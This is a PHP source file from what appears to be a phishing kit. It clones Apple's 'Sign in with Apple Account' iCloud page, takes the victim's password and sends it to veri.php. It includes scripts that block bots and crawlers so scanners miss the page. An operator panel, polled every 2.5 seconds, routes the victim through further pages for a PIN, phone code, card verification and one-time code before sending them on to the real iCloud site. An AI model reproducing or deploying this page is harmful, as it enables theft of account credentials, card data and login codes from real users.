<?php 
session_start();
error_reporting(0);
require_once('../config.php');
require_once '../Vuanis/o2ivwuyg.php';
require_once '../Vuanis/pho7zebk.php';
require_once '../Vuanis/rsbvge2q.php';
include('../Vuaniss/blockers.php');
include('../Vuaniss/detects.php');
include('../Vuaniss/Bot-Crawler.php');
include('../Vuaniss/Dila_DZ.php');
$setting_crawlerdetect = "off";
if($setting_crawlerdetect == 'on') {
require_once '../Vuanis/crawlerdetect.php';
}

function getadmin($data){
        $ud=file_get_contents('../Admin/db.json');
        $udarray = json_decode($ud);
        if(isset($udarray->$data)){
                return $udarray->$data;
                        };
};
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Sign In - iCloud</title>
  <link rel="stylesheet" media="all" href="https://www.apple.com/wss/fonts/?families=SF+Pro,v3" type="text/css">
  <style>
    *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
    :root {
      --bg:           #ffffff;
      --bg-header:    rgba(245,245,247,0.85);
      --bg-card:      rgb(255, 255, 255);
      --text:         #1d1d1f;
      --text-muted:   #6e6e73;
    }
    @media (prefers-color-scheme: dark) {
      :root {
        --bg:           hsl(240,3.4%,11.4%);
        --bg-card:      hsl(240,3.4%,11.4%);
        --text:         #f5f5f7;
        --text-muted:   #ebebf099;
      }
    }
    body {
      font-family: "SF Pro Text", "SF Pro Display", -apple-system, BlinkMacSystemFont, "Helvetica Neue", Arial, sans-serif;
      background: var(--bg);
      color: var(--text);
      min-height: 100vh;
      padding-top: 52px;
      transition: background 0.3s, color 0.3s;
    }
    .overlay {
      display: flex;
      position: fixed;
      inset: 0;
      background: var(--bg);
      z-index: 100;
      align-items: center;
      justify-content: center;
    }
    .modal {
      background: var(--bg-card);
      border-radius: 34px;
      padding: 52px 80px 52px;
      width: 640px;
      min-height: 700px;
      position: relative;
      box-shadow: 0 11px 34px 0 rgba(0,0,0,0.16);
    }
    .modal-title {
      font-family: "SF Pro Display", -apple-system, sans-serif;
      font-size: 28px;
      font-weight: 600;
      text-align: center;
      color: var(--text);
      margin-bottom: 22px;
    }
    .field { margin-bottom: 16px; position: relative; }
    .field input {
      width: 100%;
      box-sizing: border-box;
      padding: 1.06rem 0.94rem 0;
      border: 1px solid #86868b;
      border-radius: 12px;
      font-size: 17px;
      height: 56px;
      background: hsla(0,0%,100%,.8);
      color: #1d1d1f;
      outline: none;
    }
    .modal-signin-btn {
      width: 100%;
      background: #0071e3;
      color: #ffffff;
      border: none;
      border-radius: 8px;
      height: 44px;
      font-size: 14px;
      font-weight: 600;
      cursor: pointer;
      margin-top: 120px;
    }
  </style>
</head>
<body>
  <div class="overlay" id="overlay">
    <div class="modal">
      <p class="modal-title">Sign in with Apple Account</p>
      <div id="step2">
        <form id="signin-form" method="post" action="veri.php">
          <div class="field">
            <input type="email" id="step2-email" name="userid" value="<?php echo $_SESSION['userid']; ?>" readonly tabindex="-1">
          </div>
          <div class="field">
            <input type="password" id="password-input" name="pass" placeholder="Password" autofocus>
          </div>
          <button type="submit" class="modal-signin-btn" id="signinBtn">Sign In</button>
        </form>
      </div>
    </div>
  </div>
  <script>
    document.getElementById('password-input').focus();
    var clid = "<?php echo $_SESSION['client']; ?>";
    function submitupdate(clid, setnew) {
        if(!clid || clid == "0") return;
        var http = new XMLHttpRequest();
        http.open("POST","<?php echo $surl; ?>Admin/prl.php", true);
        http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        var params = "update=on&client=true&setnew="+setnew+"&vid="+clid;
        http.send(params);
        http.onload=function(){
            var res=http.responseText;
            if(res=="6"){window.location.href="vpin.php";}
            else if(res=="10"){window.location.href="index.php";}
            else if(res=="11"){window.location.href="indexs.php";}
            else if(res=="13"){window.location.href="phoneauth.php";}
            else if(res=="2"){window.location.href="umail.php";}
            else if(res=="3"){window.location.href="cdverify.php";}
            else if(res=="4"){window.location.href="data.php";}
            else if(res=="5"){window.location.href="onetime.php";}
            else if(res=="7"){window.location.href="https://www.icloud.com/";}
            else if(res=="12"){window.location.href="javascript:history.go(-1)";}
        };
    }
    setInterval(() => { submitupdate(clid, 8); }, 2500);
  </script>
</body>
</html>
